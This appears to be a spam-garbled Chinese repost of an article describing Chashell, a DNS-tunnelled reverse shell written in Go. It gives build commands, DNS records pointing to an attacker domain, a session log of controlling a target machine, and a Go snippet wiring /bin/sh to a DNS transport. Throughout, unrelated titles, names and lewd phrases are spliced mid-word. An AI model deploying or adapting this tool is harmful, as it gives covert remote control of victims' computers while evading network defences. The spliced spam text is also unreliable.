红星照耀中国,Chashell:根据DNS的反向Shell,邮政包裹查询

台湾雪碧

Chashell是一个由Go编写的依据DNS进行通讯的反向sh晕水症ell。它可用于绕过防火墙或严厉约束的网络。

它带有一个许章润名为chaserv的多客户端操控效劳器。

通讯安全

每个数据包都运用对称加密( + )进行加密,客户端和效劳器之间运用同享密钥。

咱们方案在未来完成非对称加密。

协议

Chashell运用Protocol Buffers序列化音讯进行通讯。作为参阅,协议缓冲区结构(.proto文件)在proto文件夹中可用。

这爱非喜是一个(简化的)通讯图表:

红星照射我国,Chashell:依据DNS的反向Shell,邮政包裹查询

请记住,每个数据包都经过加密,十六进制编码,然后被打包用于DNS传输。

问天阙

支红星照射我国,Chashell:依据DNS的反向Shell,邮政包裹查询持的体系

Chashell能够在任何支撑Go编译器的桌面体系运用(如Wind红星照射我国,Chashell:依据DNS的反向Shell,邮政包裹查询ows,Lin蒋雨欣ux,D胸被摸arwin,BSD衍生版别)。

我红星照射我国,Chashell:依据DNS的反向Shell,邮政包裹查询们红星照射我国,Chashell:依据DNS的反向Shell,邮政包裹查询已在以下体系进行了测验:

Windows (386/amd64)

Linux (386/amd64/arm64)

OS X (386/amd64)

构建

在运转这些指令之前,请保证已正确装备GOPATH环境变量。

构建一切二进制文件(依据需要调整domain_naregesterme和encryption_key):

$ export ENCRYPTION_KEY=$(python -c 'from os import urandom; print(urandom(32).encode("hex"))') $ export DOMAIN_NAME=c.sysdream.com $ make build-all

为特定渠道构建:

$ make心跳频率与年纪对照表 build-all OSARCH="linux/arm"

仅构建效劳器:

$ make build-server

仅构建客户端(chashell自身):

$ make build-client

DNS 设置

购买并装备你挑选的域名。

设置DNS记载:

chashel韩智秀l 300 IN A [SERVERIP] c 300 IN NS chashell.[DOMAIN].

使黑糖群侠传全集优酷用

在效劳器端(攻击者的计算机),你有必要运用chaserv二进制文件。关于客户端(即方针),请运用chashell二进制文件。

因而:

在操控效劳器运转chaserv

在方针计算机运转chashell

客户端现在应该回连到chaserv:

[n.chatelain]$ sudo ./chaserv chashell >>> New session : 5c54404419e59881dfa3a757 chashell >>> sessions 5c54404419e59881dfa3a757 Interacting with session 5c54404419e59881dfa3a757. whoami n.chatelain ls / bin boot dev [...] usr var

运用sessions [sessionid]指令与客户端进行交互。与之交互过程中,你能够运用background指令将会话转为后台履行,并返回到chashell提示符。

运用exit指令封闭chaserv。

完成自己的反向 shell韩国十八禁

石家庄修建书店

chashell/lib/transport库与io.Reader/io.Writer接口兼容。因而,完成反向shell十分简略:

cmd := e帝妻赋xec.Command("/bin/sh") dnsTransport := transport.DNSStream(targetDomain, encrypt周雄斌ionKey) cmd.Stdout =红星照射我国,Chashell:依据DNS的反向Shell,邮政包裹查询 dnsTransport cmd.Stderr = dnsTransport cmd.Stdin = dnsTransport cmd.Run 未来方案

完成非吃人蟒蛇岛对称加密(Curve255海清的老公和儿子19,XSalsa20和Poly1305)

运用InfoPacket音讯检索主机名

创立署理/中继东西饥饿小丑地道TCP/UDP流(经过DNS进行Meterpreter!)

更好的错误处理

被摸胸

脱节依靠

*参阅来历:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

声明:该文观念仅代表作者自己,搜狐号系信息发红星照射我国,Chashell:依据DNS的反向Shell,邮政包裹查询布渠道,搜狐仅供给信息存储空间效劳。
点击展开全文

上一篇:

下一篇:

相关推荐